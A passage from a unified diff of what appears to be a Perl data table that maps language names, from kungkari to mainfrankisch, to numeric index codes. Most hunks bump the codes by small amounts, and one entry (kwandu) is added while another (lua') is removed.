-      q(3315),
+      q(3316),
       q(0),
       ],
    q(kungkari) => [
@@ -38801,7 +38843,7 @@
       q(0),
       ],
    q(kunigami) => [
-      q(7515),
+      q(7518),
       q(0),
       ],
    q(kunimaipa) => [
@@ -38809,15 +38851,15 @@
       q(0),
       ],
    q(kunja) => [
-      q(5408),
+      q(5412),
       q(0),
       ],
    q(kunjen) => [
-      q(3387),
+      q(3388),
       q(0),
       ],
    q(kunyi) => [
-      q(4910),
+      q(4912),
       q(0),
       ],
    q(kunza) => [
@@ -38825,7 +38867,7 @@
       q(0),
       ],
    q(kuo) => [
-      q(7520),
+      q(7523),
       q(0),
       ],
    q(kuot) => [
@@ -38837,15 +38879,15 @@
       q(0),
       ],
    q(kupang malay) => [
-      q(4347),
+      q(4348),
       q(0),
       ],
    q(kupia) => [
-      q(3278),
+      q(3280),
       q(0),
       ],
    q(kupsabiny) => [
-      q(3542),
+      q(3543),
       q(0),
       ],
    q(kur) => [
@@ -38853,23 +38895,23 @@
       q(0),
       ],
    q(kura ede nago) => [
-      q(5035),
+      q(5038),
       q(0),
       ],
    q(kurama) => [
-      q(3574),
+      q(3575),
       q(0),
       ],
    q(kuranko) => [
-      q(3485),
+      q(3486),
       q(0),
       ],
    q(kurdish) => [
-      q(0240),
+      q(0241),
       q(0),
       ],
    q(kuri) => [
-      q(4742),
+      q(4743),
       q(0),
       ],
    q(kuria) => [
@@ -38877,19 +38919,19 @@
       q(0),
       ],
    q(kurichiya) => [
-      q(3287),
+      q(3289),
       q(0),
       ],
    q(kurmukar) => [
-      q(3301),
+      q(3303),
       q(0),
       ],
    q(kurnai) => [
-      q(6903),
+      q(6904),
       q(0),
       ],
    q(kurrama) => [
-      q(6999),
+      q(7000),
       q(0),
       ],
    q(kurti) => [
@@ -38897,7 +38939,7 @@
       q(0),
       ],
    q(kurtokha) => [
-      q(7375),
+      q(7378),
       q(0),
       ],
    q(kuruaya) => [
@@ -38905,11 +38947,11 @@
       q(0),
       ],
    q(kurudu) => [
-      q(3391),
+      q(3392),
       q(0),
       ],
    q(kurukh) => [
-      q(0237),
+      q(0238),
       q(0),
       ],
    q(kusaal) => [
@@ -38929,19 +38971,19 @@
       q(0),
       ],
    q(kusunda) => [
-      q(3311),
+      q(3312),
       q(0),
       ],
    q(kutang ghale) => [
-      q(2508),
+      q(2509),
       q(1),
       ],
    q(kutchi) => [
-      q(3297),
+      q(3299),
       q(1),
       ],
    q(kutenai) => [
-      q(0241),
+      q(0242),
       q(0),
       ],
    q(kutep) => [
@@ -38949,7 +38991,7 @@
       q(0),
       ],
    q(kuthant) => [
-      q(7523),
+      q(7526),
       q(0),
       ],
    q(kutong) => [
@@ -38957,19 +38999,19 @@
       q(0),
       ],
    q(kutto) => [
-      q(3519),
+      q(3520),
       q(0),
       ],
    q(kutu) => [
-      q(3233),
+      q(3235),
       q(0),
       ],
    q(kuturmi) => [
-      q(3336),
+      q(3337),
       q(0),
       ],
    q(kuuk-yak) => [
-      q(6873),
+      q(6874),
       q(0),
       ],
    q(kuuku-ya'u) => [
@@ -38977,7 +39019,7 @@
       q(0),
       ],
    q(kuvale) => [
-      q(5242),
+      q(5246),
       q(0),
       ],
    q(kuvi) => [
@@ -38985,23 +39027,23 @@
       q(0),
       ],
    q(kuwaa) => [
-      q(1284),
+      q(1285),
       q(0),
       ],
    q(kuwaataay) => [
-      q(1922),
+      q(1923),
       q(0),
       ],
    q(kuy) => [
-      q(3248),
+      q(3250),
       q(0),
       ],
    q(kven finnish) => [
-      q(2348),
+      q(2349),
       q(0),
       ],
    q(kw'adza) => [
-      q(7129),
+      q(7131),
       q(0),
       ],
    q(kwa) => [
@@ -39009,7 +39051,7 @@
       q(0),
       ],
    q(kwa') => [
-      q(1266),
+      q(1267),
       q(0),
       ],
    q(kwaami) => [
@@ -39025,7 +39067,7 @@
       q(0),
       ],
    q(kwaja) => [
-      q(3253),
+      q(3255),
       q(0),
       ],
    q(kwakiutl) => [
@@ -39037,11 +39079,11 @@
       q(0),
       ],
    q(kwalhioqua-tlatskanai) => [
-      q(5709),
+      q(5711),
       q(0),
       ],
    q(kwama) => [
-      q(3466),
+      q(3467),
       q(0),
       ],
    q(kwambi) => [
@@ -39057,9 +39099,13 @@
       q(0),
       ],
    q(kwamtim one) => [
-      q(5224),
+      q(5228),
       q(0),
       ],
+   q(kwandu) => [
+      q(7313),
+      q(0),
+      ],
    q(kwang) => [
       q(3669),
       q(0),
@@ -39073,11 +39119,11 @@
       q(0),
       ],
    q(kwanja) => [
-      q(3490),
+      q(3491),
       q(0),
       ],
    q(kwanyama) => [
-      q(0238),
+      q(0239),
       q(1),
       ],
    q(kwara'ae) => [
@@ -39085,7 +39131,7 @@
       q(0),
       ],
    q(kwasio) => [
-      q(4959),
+      q(4961),
       q(0),
       ],
    q(kwaya) => [
@@ -39093,15 +39139,15 @@
       q(0),
       ],
    q(kwaza) => [
-      q(7530),
+      q(7533),
       q(0),
       ],
    q(kwegu) => [
-      q(7534),
+      q(7537),
       q(0),
       ],
    q(kwenyi) => [
-      q(3241),
+      q(3243),
       q(1),
       ],
    q(kwer) => [
@@ -39113,15 +39159,15 @@
       q(0),
       ],
    q(kwerba mamberamo) => [
-      q(7539),
+      q(7542),
       q(0),
       ],
    q(kwere) => [
-      q(1920),
+      q(1921),
       q(0),
       ],
    q(kwerisa) => [
-      q(3400),
+      q(3401),
       q(0),
       ],
    q(kwese) => [
@@ -39133,7 +39179,7 @@
       q(0),
       ],
    q(kwini) => [
-      q(2687),
+      q(2689),
       q(0),
       ],
    q(kwinsu) => [
@@ -39145,7 +39191,7 @@
       q(0),
       ],
    q(kwoma) => [
-      q(3464),
+      q(3465),
       q(0),
       ],
    q(kwomtari) => [
@@ -39153,11 +39199,11 @@
       q(0),
       ],
    q(kxoe) => [
-      q(7524),
+      q(7527),
       q(0),
       ],
    q(kyak) => [
-      q(1254),
+      q(1255),
       q(0),
       ],
    q(kyaka) => [
@@ -39165,7 +39211,7 @@
       q(0),
       ],
    q(kyan-karyaw naga) => [
-      q(5038),
+      q(5042),
       q(0),
       ],
    q(kyanga) => [
@@ -39173,15 +39219,15 @@
       q(0),
       ],
    q(kyenele) => [
-      q(3554),
+      q(3555),
       q(0),
       ],
    q(kyerung) => [
-      q(3328),
+      q(3329),
       q(0),
       ],
    q(kyrgyz) => [
-      q(0226),
+      q(0227),
       q(1),
       ],
    q(la'bi) => [
@@ -39189,7 +39235,7 @@
       q(0),
       ],
    q(laa laa bwamu) => [
-      q(1549),
+      q(1550),
       q(0),
       ],
    q(laadan) => [
@@ -39197,11 +39243,11 @@
       q(0),
       ],
    q(laal) => [
-      q(2461),
+      q(2462),
       q(0),
       ],
    q(laalaa) => [
-      q(1640),
+      q(1641),
       q(1),
       ],
    q(laari) => [
@@ -39217,15 +39263,15 @@
       q(0),
       ],
    q(labir) => [
-      q(3110),
+      q(3112),
       q(0),
       ],
    q(labo) => [
-      q(4624),
+      q(4625),
       q(0),
       ],
    q(labo phowa) => [
-      q(7710),
+      q(7713),
       q(0),
       ],
    q(labu) => [
@@ -39233,7 +39279,7 @@
       q(0),
       ],
    q(labuk-kinabatangan kadazan) => [
-      q(2150),
+      q(2151),
       q(0),
       ],
    q(lacandon) => [
@@ -39245,11 +39291,11 @@
       q(0),
       ],
    q(lachiguiri zapotec) => [
-      q(7896),
+      q(7899),
       q(0),
       ],
    q(lachixio zapotec) => [
-      q(7907),
+      q(7910),
       q(0),
       ],
    q(ladakhi) => [
@@ -39261,7 +39307,7 @@
       q(0),
       ],
    q(ladino) => [
-      q(0242),
+      q(0243),
       q(0),
       ],
    q(ladji ladji) => [
@@ -39285,7 +39331,7 @@
       q(0),
       ],
    q(lagwan) => [
-      q(3513),
+      q(3514),
       q(0),
       ],
    q(laha (indonesia)) => [
@@ -39301,7 +39347,7 @@
       q(0),
       ],
    q(lahnda) => [
-      q(0243),
+      q(0244),
       q(0),
       ],
    q(lahta) => [
@@ -39329,7 +39375,7 @@
       q(0),
       ],
    q(laitu chin) => [
-      q(1771),
+      q(1772),
       q(0),
       ],
    q(laiyolo) => [
@@ -39381,11 +39427,11 @@
       q(0),
       ],
    q(lakota dida) => [
-      q(2030),
+      q(2031),
       q(0),
       ],
    q(lala) => [
-      q(5056),
+      q(5060),
       q(0),
       ],
    q(lala-bisa) => [
@@ -39397,7 +39443,7 @@
       q(0),
       ],
    q(lalana chinantec) => [
-      q(1798),
+      q(1799),
       q(0),
       ],
    q(lalia) => [
@@ -39421,7 +39467,7 @@
       q(0),
       ],
    q(lamang) => [
-      q(2748),
+      q(2750),
       q(0),
       ],
    q(lamatuka) => [
@@ -39429,7 +39475,7 @@
       q(0),
       ],
    q(lamba) => [
-      q(0244),
+      q(0245),
       q(0),
       ],
    q(lambadi) => [
@@ -39437,7 +39483,7 @@
       q(0),
       ],
    q(lambayeque quechua) => [
-      q(5672),
+      q(5674),
       q(0),
       ],
    q(lambichhong) => [
@@ -39453,7 +39499,7 @@
       q(0),
       ],
    q(lame) => [
-      q(1302),
+      q(1303),
       q(0),
       ],
    q(lamenu) => [
@@ -39489,7 +39535,7 @@
       q(0),
       ],
    q(lampung nyo) => [
-      q(0569),
+      q(0570),
       q(0),
       ],
    q(lamu) => [
@@ -39505,7 +39551,7 @@
       q(0),
       ],
    q(land dayak languages) => [
-      q(0105),
+      q(0106),
       q(0),
       ],
    q(landoma) => [
@@ -39513,7 +39559,7 @@
       q(0),
       ],
    q(lang'e) => [
-      q(7690),
+      q(7693),
       q(0),
       ],
    q(langam) => [
@@ -39529,7 +39575,7 @@
       q(0),
       ],
    q(langnian buyang) => [
-      q(7665),
+      q(7668),
       q(0),
       ],
    q(lango (sudan)) => [
@@ -39545,7 +39591,7 @@
       q(0),
       ],
    q(langue des signes de belgique francophone) => [
-      q(5976),
+      q(5977),
       q(0),
       ],
    q(lanima) => [
@@ -39557,15 +39603,15 @@
       q(0),
       ],
    q(lao) => [
-      q(0245),
+      q(0246),
       q(0),
       ],
    q(lao naga) => [
-      q(4946),
+      q(4948),
       q(0),
       ],
    q(laomian) => [
-      q(4094),
+      q(4095),
       q(0),
       ],
    q(laopang) => [
@@ -39577,7 +39623,7 @@
       q(0),
       ],
    q(lapaguia-guivini zapotec) => [
-      q(7937),
+      q(7940),
       q(0),
       ],
    q(laragia) => [
@@ -39597,7 +39643,7 @@
       q(0),
       ],
    q(large flowery miao) => [
-      q(2775),
+      q(2777),
       q(0),
       ],
    q(lari) => [
@@ -39605,7 +39651,7 @@
       q(0),
       ],
    q(larike-wakasihu) => [
-      q(0756),
+      q(0757),
       q(0),
       ],
    q(laro) => [
@@ -39645,19 +39691,19 @@
       q(0),
       ],
    q(latin) => [
-      q(0246),
+      q(0247),
       q(0),
       ],
    q(latu) => [
-      q(4067),
+      q(4068),
       q(0),
       ],
    q(latunde) => [
-      q(4064),
+      q(4065),
       q(0),
       ],
    q(latvian) => [
-      q(0247),
+      q(0248),
       q(0),
       ],
    q(latvian sign language) => [
@@ -39669,7 +39715,7 @@
       q(0),
       ],
    q(laua) => [
-      q(4071),
+      q(4072),
       q(0),
       ],
    q(lauan) => [
@@ -39681,7 +39727,7 @@
       q(0),
       ],
    q(laura) => [
-      q(4078),
+      q(4079),
       q(0),
       ],
    q(laurentian) => [
@@ -39689,7 +39735,7 @@
       q(0),
       ],
    q(lautu chin) => [
-      q(1776),
+      q(1777),
       q(0),
       ],
    q(lavatbura-lamusong) => [
@@ -39697,7 +39743,7 @@
       q(0),
       ],
    q(lave) => [
-      q(1422),
+      q(1423),
       q(0),
       ],
    q(laven) => [
@@ -39705,11 +39751,11 @@
       q(0),
       ],
    q(lavrung) => [
-      q(3098),
+      q(3100),
       q(1),
       ],
    q(lavukaleve) => [
-      q(4086),
+      q(4087),
       q(0),
       ],
    q(lawangan) => [
@@ -39717,7 +39763,7 @@
       q(0),
       ],
    q(lawu) => [
-      q(4097),
+      q(4098),
       q(0),
       ],
    q(lawunuia) => [
@@ -39725,15 +39771,15 @@
       q(0),
       ],
    q(layakha) => [
-      q(4099),
+      q(4100),
       q(0),
       ],
    q(laz) => [
-      q(4105),
+      q(4106),
       q(0),
       ],
    q(lealao chinantec) => [
-      q(1768),
+      q(1769),
       q(0),
       ],
    q(leco) => [
@@ -39761,7 +39807,7 @@
       q(0),
       ],
    q(legbo) => [
-      q(0653),
+      q(0654),
       q(0),
       ],
    q(legenyem) => [
@@ -39773,15 +39819,15 @@
       q(0),
       ],
    q(lehalurup) => [
-      q(6924),
+      q(6925),
       q(0),
       ],
    q(lehar) => [
-      q(1640),
+      q(1641),
       q(0),
       ],
    q(leinong naga) => [
-      q(4104),
+      q(4105),
       q(0),
       ],
    q(leipon) => [
@@ -39829,7 +39875,7 @@
       q(0),
       ],
    q(lemnian) => [
-      q(7380),
+      q(7383),
       q(0),
       ],
    q(lemolang) => [
@@ -39865,11 +39911,11 @@
       q(0),
       ],
    q(lengua de senas catalana) => [
-      q(1861),
+      q(1862),
       q(1),
       ],
    q(lengua de senas del paraguay) => [
-      q(5663),
+      q(5665),
       q(1),
       ],
    q(lengua de senas panamenas) => [
@@ -39905,11 +39951,11 @@
       q(0),
       ],
    q(lepontic) => [
-      q(7385),
+      q(7388),
       q(0),
       ],
    q(lere) => [
-      q(2569),
+      q(2571),
       q(0),
       ],
    q(lese) => [
@@ -39921,7 +39967,7 @@
       q(0),
       ],
    q(letemboi) => [
-      q(4971),
+      q(4973),
       q(0),
       ],
    q(leti (cameroon)) => [
@@ -39929,39 +39975,39 @@
       q(0),
       ],
    q(leti (indonesia)) => [
-      q(4063),
+      q(4064),
       q(0),
       ],
    q(letzeburgesch) => [
-      q(0254),
+      q(0255),
       q(1),
       ],
    q(levuka) => [
-      q(4088),
+      q(4089),
       q(0),
       ],
    q(lewo) => [
-      q(4098),
+      q(4099),
       q(0),
       ],
    q(lewo eleng) => [
-      q(4090),
+      q(4091),
       q(0),
       ],
    q(lewotobi) => [
-      q(4096),
+      q(4097),
       q(0),
       ],
    q(leyigha) => [
-      q(0999),
+      q(1000),
       q(0),
       ],
    q(lezghian) => [
-      q(0248),
+      q(0249),
       q(0),
       ],
    q(lhaovo) => [
-      q(4287),
+      q(4288),
       q(1),
       ],
    q(lhokpu) => [
@@ -39981,19 +40027,19 @@
       q(0),
       ],
    q(liana-seti) => [
-      q(6247),
+      q(6246),
       q(0),
       ],
    q(liangmai naga) => [
-      q(4904),
+      q(4906),
       q(0),
       ],
    q(lianshan zhuang) => [
-      q(7856),
+      q(7859),
       q(0),
       ],
    q(liberia kpelle) => [
-      q(7441),
+      q(7444),
       q(0),
       ],
    q(liberian english) => [
@@ -40013,11 +40059,11 @@
       q(0),
       ],
    q(liburnian) => [
-      q(7382),
+      q(7385),
       q(0),
       ],
    q(libyan arabic) => [
-      q(1001),
+      q(1002),
       q(0),
       ],
    q(libyan sign language) => [
@@ -40037,7 +40083,7 @@
       q(0),
       ],
    q(ligurian (ancient)) => [
-      q(7381),
+      q(7384),
       q(0),
       ],
    q(lihir) => [
@@ -40045,7 +40091,7 @@
       q(0),
       ],
    q(lijili) => [
-      q(4249),
+      q(4250),
       q(0),
       ],
    q(lika) => [
@@ -40081,7 +40127,7 @@
       q(0),
       ],
    q(limassa) => [
-      q(1306),
+      q(1307),
       q(0),
       ],
    q(limbu) => [
@@ -40093,19 +40139,19 @@
       q(0),
       ],
    q(limburgan) => [
-      q(0249),
+      q(0250),
       q(0),
       ],
    q(limburger) => [
-      q(0249),
+      q(0250),
       q(1),
       ],
    q(limburgish) => [
-      q(0249),
+      q(0250),
       q(2),
       ],
    q(limi) => [
-      q(7664),
+      q(7667),
       q(0),
       ],
    q(limilngan) => [
@@ -40113,12 +40159,12 @@
       q(0),
       ],
    q(limos kalinga) => [
-      q(3460),
+      q(3461),
       q(0),
       ],
    q(lindu) => [
-      q(3447),
-      q(0),
+      q(3448),
+      q(1),
       ],
    q(linear a) => [
       q(3785),
@@ -40125,11 +40171,11 @@
       q(0),
       ],
    q(lingala) => [
-      q(0250),
+      q(0251),
       q(0),
       ],
    q(lingao) => [
-      q(5259),
+      q(5263),
       q(0),
       ],
    q(lingarak) => [
@@ -40137,7 +40183,7 @@
       q(0),
       ],
    q(lingua franca) => [
-      q(5510),
+      q(5514),
       q(0),
       ],
    q(lingua franca nova) => [
@@ -40145,7 +40191,7 @@
       q(0),
       ],
    q(lipan apache) => [
-      q(0844),
+      q(0845),
       q(0),
       ],
    q(lipo) => [
@@ -40173,7 +40219,7 @@
       q(0),
       ],
    q(lishanid noshan) => [
-      q(0700),
+      q(0701),
       q(0),
       ],
    q(lisu) => [
@@ -40181,11 +40227,11 @@
       q(0),
       ],
    q(literary chinese) => [
-      q(4102),
+      q(4103),
       q(0),
       ],
    q(lithuanian) => [
-      q(0251),
+      q(0252),
       q(0),
       ],
    q(lithuanian sign language) => [
@@ -40193,15 +40239,15 @@
       q(0),
       ],
    q(litzlitz) => [
-      q(4103),
+      q(4104),
       q(0),
       ],
    q(liujiang zhuang) => [
-      q(7854),
+      q(7857),
       q(0),
       ],
    q(liuqian zhuang) => [
-      q(7857),
+      q(7860),
       q(0),
       ],
    q(liv) => [
@@ -40209,15 +40255,15 @@
       q(0),
       ],
    q(livvi) => [
-      q(5239),
+      q(5243),
       q(0),
       ],
    q(llengua de signes catalana) => [
-      q(1861),
+      q(1862),
       q(2),
       ],
    q(llengua de signes valenciana) => [
-      q(7034),
+      q(7035),
       q(1),
       ],
    q(lo-toga) => [
@@ -40253,7 +40299,7 @@
       q(0),
       ],
    q(logooli) => [
-      q(5730),
+      q(5732),
       q(0),
       ],
    q(logorik) => [
@@ -40261,7 +40307,7 @@
       q(0),
       ],
    q(logudorese sardinian) => [
-      q(6201),
+      q(6200),
       q(0),
       ],
    q(lohorung) => [
@@ -40269,15 +40315,15 @@
       q(0),
       ],
    q(loja highland quichua) => [
-      q(5694),
+      q(5696),
       q(0),
       ],
    q(lojban) => [
-      q(0204),
+      q(0205),
       q(0),
       ],
    q(lokaa) => [
-      q(7580),
+      q(7583),
       q(0),
       ],
    q(loke) => [
@@ -40313,7 +40359,7 @@
       q(0),
       ],
    q(lolopo) => [
-      q(7595),
+      q(7598),
       q(0),
       ],
    q(loma (cote d'ivoire)) => [
@@ -40329,7 +40375,7 @@
       q(0),
       ],
    q(lomavren) => [
-      q(5802),
+      q(5803),
       q(0),
       ],
    q(lombard) => [
@@ -40345,7 +40391,7 @@
       q(0),
       ],
    q(lomwe) => [
-      q(4836),
+      q(4838),
       q(0),
       ],
    q(loncong) => [
@@ -40365,7 +40411,7 @@
       q(0),
       ],
    q(longto) => [
-      q(7188),
+      q(7190),
       q(0),
       ],
    q(longuda) => [
@@ -40377,7 +40423,7 @@
       q(0),
       ],
    q(lonwolwol) => [
-      q(1840),
+      q(1841),
       q(0),
       ],
    q(lonzo) => [
@@ -40409,19 +40455,19 @@
       q(0),
       ],
    q(loreto-ucayali spanish) => [
-      q(6180),
+      q(6179),
       q(0),
       ],
    q(lote) => [
-      q(6949),
+      q(6950),
       q(0),
       ],
    q(lotha naga) => [
-      q(4899),
+      q(4901),
       q(0),
       ],
    q(lotud) => [
-      q(2159),
+      q(2160),
       q(0),
       ],
    q(lou) => [
@@ -40437,35 +40483,35 @@
       q(0),
       ],
    q(loup a) => [
-      q(7384),
+      q(7387),
       q(0),
       ],
    q(loup b) => [
-      q(7377),
+      q(7380),
       q(0),
       ],
    q(lovono) => [
-      q(7025),
+      q(7026),
       q(1),
       ],
    q(low german) => [
-      q(0306),
+      q(0307),
       q(0),
       ],
    q(low saxon) => [
-      q(0306),
+      q(0307),
       q(1),
       ],
    q(lower burdekin) => [
-      q(7278),
+      q(7280),
       q(0),
       ],
    q(lower chehalis) => [
-      q(1702),
+      q(1703),
       q(0),
       ],
    q(lower grand valley dani) => [
-      q(2096),
+      q(2097),
       q(0),
       ],
    q(lower silesian) => [
@@ -40473,11 +40519,11 @@
       q(0),
       ],
    q(lower sorbian) => [
-      q(0113),
+      q(0114),
       q(0),
       ],
    q(lower southern aranda) => [
-      q(0989),
+      q(0990),
       q(0),
       ],
    q(lower ta'oih) => [
@@ -40489,7 +40535,7 @@
       q(0),
       ],
    q(lowland oaxaca chontal) => [
-      q(1775),
+      q(1776),
       q(0),
       ],
    q(lowland tarahumara) => [
@@ -40497,39 +40543,35 @@
       q(0),
       ],
    q(loxicha zapotec) => [
-      q(7940),
+      q(7943),
       q(0),
       ],
    q(loyop) => [
-      q(6924),
+      q(6925),
       q(1),
       ],
    q(lozi) => [
-      q(0253),
+      q(0254),
       q(0),
       ],
    q(lu) => [
-      q(3329),
+      q(3330),
       q(0),
       ],
-   q(lua') => [
-      q(5577),
-      q(0),
-      ],
    q(luang) => [
       q(3873),
       q(0),
       ],
    q(luba-katanga) => [
-      q(0256),
+      q(0257),
       q(0),
       ],
    q(luba-lulua) => [
-      q(0255),
+      q(0256),
       q(0),
       ],
    q(lubila) => [
-      q(3208),
+      q(3210),
       q(0),
       ],
    q(lubu) => [
@@ -40537,11 +40579,11 @@
       q(0),
       ],
    q(lubuagan kalinga) => [
-      q(3477),
+      q(3478),
       q(0),
       ],
    q(lubukusu) => [
-      q(1575),
+      q(1576),
       q(1),
       ],
    q(luchazi) => [
@@ -40549,11 +40591,11 @@
       q(0),
       ],
    q(lucumi) => [
-      q(4077),
+      q(4078),
       q(0),
       ],
    q(ludian) => [
-      q(4069),
+      q(4070),
       q(0),
       ],
    q(lufu) => [
@@ -40577,15 +40619,15 @@
       q(0),
       ],
    q(luidakho-luisukha-lutirichi) => [
-      q(2896),
+      q(2899),
       q(1),
       ],
    q(luimbi) => [
-      q(4075),
+      q(4076),
       q(0),
       ],
    q(luiseno) => [
-      q(0258),
+      q(0259),
       q(0),
       ],
    q(lukabaras) => [
@@ -40593,23 +40635,23 @@
       q(1),
       ],
    q(lukpa) => [
-      q(2116),
+      q(2117),
       q(0),
       ],
    q(lule) => [
-      q(6877),
+      q(6878),
       q(0),
       ],
    q(lule sami) => [
-      q(0390),
+      q(0391),
       q(0),
       ],
    q(lulogooli) => [
-      q(5730),
+      q(5732),
       q(1),
       ],
    q(lumba-yakkha) => [
-      q(4080),
+      q(4081),
       q(0),
       ],
    q(lumbee) => [
@@ -40617,7 +40659,7 @@
       q(0),
       ],
    q(lumbu) => [
-      q(4076),
+      q(4077),
       q(0),
       ],
    q(lumun) => [
@@ -40629,15 +40671,15 @@
       q(1),
       ],
    q(luna) => [
-      q(4072),
+      q(4073),
       q(0),
       ],
    q(lunanakha) => [
-      q(4073),
+      q(4074),
       q(0),
       ],
    q(lunda) => [
-      q(0259),
+      q(0260),
       q(0),
       ],
    q(lundayeh) => [
@@ -40645,7 +40687,7 @@
       q(0),
       ],
    q(lungalunga) => [
-      q(7008),
+      q(7009),
       q(0),
       ],
    q(lungga) => [
@@ -40653,19 +40695,19 @@
       q(0),
       ],
    q(luo (cameroon)) => [
-      q(4082),
+      q(4083),
       q(0),
       ],
    q(luo (kenya and tanzania)) => [
-      q(0260),
+      q(0261),
       q(0),
       ],
    q(luopohe hmong) => [
-      q(2783),
+      q(2785),
       q(0),
       ],
    q(luopohe miao) => [
-      q(2783),
+      q(2785),
       q(1),
       ],
    q(luri) => [
@@ -40677,63 +40719,63 @@
       q(0),
       ],
    q(lushai) => [
-      q(0261),
+      q(0262),
       q(0),
       ],
    q(lushootseed) => [
-      q(4079),
+      q(4080),
       q(0),
       ],
    q(lusi) => [
-      q(3338),
+      q(3339),
       q(0),
       ],
    q(lusitanian) => [
-      q(7386),
+      q(7389),
       q(0),
       ],
    q(lutachoni) => [
-      q(4066),
+      q(4067),
       q(1),
       ],
    q(lutos) => [
-      q(4796),
+      q(4798),
       q(0),
       ],
    q(luvale) => [
-      q(4070),
+      q(4071),
       q(0),
       ],
    q(luwati) => [
-      q(4081),
+      q(4082),
       q(0),
       ],
    q(luwo) => [
-      q(4095),
+      q(4096),
       q(0),
       ],
    q(luxembourgish) => [
-      q(0254),
+      q(0255),
       q(0),
       ],
    q(luyana) => [
-      q(4101),
+      q(4102),
       q(0),
       ],
    q(luyia) => [
-      q(4083),
+      q(4084),
       q(0),
       ],
    q(lwalu) => [
-      q(4089),
+      q(4090),
       q(0),
       ],
    q(lycian) => [
-      q(7378),
+      q(7381),
       q(0),
       ],
    q(lydian) => [
-      q(7379),
+      q(7382),
       q(0),
       ],
    q(lyele) => [
@@ -40741,7 +40783,7 @@
       q(0),
       ],
    q(lyngngam) => [
-      q(4100),
+      q(4101),
       q(0),
       ],
    q(lyons sign language) => [
@@ -40749,23 +40791,23 @@
       q(0),
       ],
    q(ma (democratic republic of congo)) => [
-      q(4531),
+      q(4532),
       q(0),
       ],
    q(ma (papua new guinea)) => [
-      q(4323),
+      q(4324),
       q(0),
       ],
    q(ma manda) => [
-      q(6063),
+      q(6064),
       q(0),
       ],
    q(ma'anyan) => [
-      q(4288),
+      q(4289),
       q(0),
       ],
    q(ma'di) => [
-      q(4273),
+      q(4274),
       q(0),
       ],
    q(ma'ya) => [
@@ -40773,223 +40815,223 @@
       q(0),
       ],
    q(maa) => [
-      q(1780),
+      q(1781),
       q(0),
       ],
    q(maaka) => [
-      q(4213),
+      q(4214),
       q(0),
       ],
    q(maasina fulfulde) => [
-      q(2339),
+      q(2340),
       q(0),
       ],
    q(maay) => [
-      q(7679),
+      q(7682),
       q(0),
       ],
    q(maba (chad)) => [
-      q(4174),
+      q(4175),
       q(0),
       ],
    q(maba (indonesia)) => [
-      q(4473),
+      q(4474),
       q(0),
       ],
    q(mabaale) => [
-      q(4406),
+      q(4407),
       q(0),
       ],
    q(mabaan) => [
-      q(4241),
+      q(4242),
       q(0),
       ],
    q(mabaka valley kalinga) => [
-      q(3405),
+      q(3406),
       q(0),
       ],
    q(mabire) => [
-      q(4580),
+      q(4581),
       q(0),
       ],
    q(maca) => [
-      q(4144),
+      q(4145),
       q(0),
       ],
    q(macaguaje) => [
-      q(4155),
+      q(4156),
       q(0),
       ],
    q(macaguan) => [
-      q(4131),
+      q(4132),
       q(0),
       ],
    q(macanese) => [
-      q(4703),
+      q(4704),
       q(0),
       ],
    q(macedo-romanian) => [
-      q(0362),
+      q(0363),
       q(2),
       ],
    q(macedonian) => [
-      q(0262),
+      q(0263),
       q(0),
       ],
    q(machame) => [
-      q(3115),
+      q(3117),
       q(0),
       ],
    q(machiguenga) => [
-      q(4145),
+      q(4146),
       q(0),
       ],
    q(machinere) => [
-      q(4451),
+      q(4452),
       q(0),
       ],
    q(machinga) => [
-      q(4613),
+      q(4614),
       q(0),
       ],
    q(maco) => [
-      q(7196),
+      q(7198),
       q(0),
       ],
    q(macuna) => [
-      q(4684),
+      q(4685),
       q(0),
       ],
    q(macushi) => [
-      q(4121),
+      q(4122),
       q(0),
       ],
    q(mada (cameroon)) => [
-      q(4659),
+      q(4660),
       q(0),
       ],
    q(mada (nigeria)) => [
-      q(4170),
+      q(4171),
       q(0),
       ],
    q(madagascar sign language) => [
-      q(4688),
+      q(4689),
       q(0),
       ],
    q(madak) => [
-      q(4404),
+      q(4405),
       q(0),
       ],
    q(maden) => [
-      q(7411),
+      q(7414),
       q(0),
       ],
    q(madhi madhi) => [
-      q(2078),
+      q(2079),
       q(0),
       ],
    q(madi) => [
-      q(2612),
+      q(2614),
       q(0),
       ],
    q(madngele) => [
-      q(7869),
+      q(7872),
       q(0),
       ],
    q(madurese) => [
-      q(0263),
+      q(0264),
       q(0),
       ],
    q(mae) => [
-      q(4386),
+      q(4387),
       q(0),
       ],
    q(maek) => [
-      q(2782),
+      q(2784),
       q(0),
       ],
    q(maeng itneg) => [
-      q(3015),
+      q(3018),
       q(0),
       ],
    q(mafa) => [
-      q(4109),
+      q(4110),
       q(0),
       ],
    q(mafea) => [
-      q(4355),
+      q(4356),
       q(0),
       ],
    q(mag-antsi ayta) => [
-      q(5981),
+      q(5982),
       q(0),
       ],
    q(mag-indi ayta) => [
-      q(1299),
+      q(1300),
       q(0),
       ],
    q(magahi) => [
-      q(0264),
+      q(0265),
       q(0),
       ],
    q(magbukun ayta) => [
-      q(1008),
+      q(1009),
       q(0),
       ],
    q(magdalena penasco mixtec) => [
-      q(7499),
+      q(7502),
       q(0),
       ],
    q(maghdi) => [
-      q(2553),
+      q(2555),
       q(0),
       ],
    q(magoma) => [
-      q(2560),
+      q(2562),
       q(0),
       ],
    q(magori) => [
-      q(7825),
+      q(7828),
       q(0),
       ],
    q(maguindanaon) => [
-      q(4176),
+      q(4177),
       q(0),
       ],
    q(magyi) => [
-      q(2554),
+      q(2556),
       q(0),
       ],
    q(mah meri) => [
-      q(4270),
+      q(4271),
       q(1),
       ],
    q(mahali) => [
-      q(4333),
+      q(4334),
       q(0),
       ],
    q(maharastri prakrit) => [
-      q(5506),
+      q(5510),
       q(0),
       ],
    q(mahasu pahari) => [
-      q(1160),
+      q(1161),
       q(0),
       ],
    q(mahican) => [
-      q(4334),
+      q(4335),
       q(0),
       ],
    q(mahongwe) => [
-      q(4267),
+      q(4268),
       q(0),
       ],
    q(mahou) => [
-      q(4662),
+      q(4663),
       q(0),
       ],
    q(mai brat) => [
-      q(1011),
+      q(1012),
       q(0),
       ],
    q(maia) => [
@@ -40997,7 +41039,7 @@
       q(0),
       ],
    q(maiadomu) => [
-      q(4710),
+      q(4711),
       q(0),
       ],
    q(maiani) => [
@@ -41005,171 +41047,171 @@
       q(0),
       ],
    q(maii) => [
-      q(4394),
+      q(4395),
       q(0),
       ],
    q(mailu) => [
-      q(4261),
+      q(4262),
       q(0),
       ],
    q(maindo) => [
-      q(1918),
+      q(1919),
       q(0),
       ],
    q(mainfrankisch) => [
-      q(7007),
+      q(7008),
       q(0),
       ],
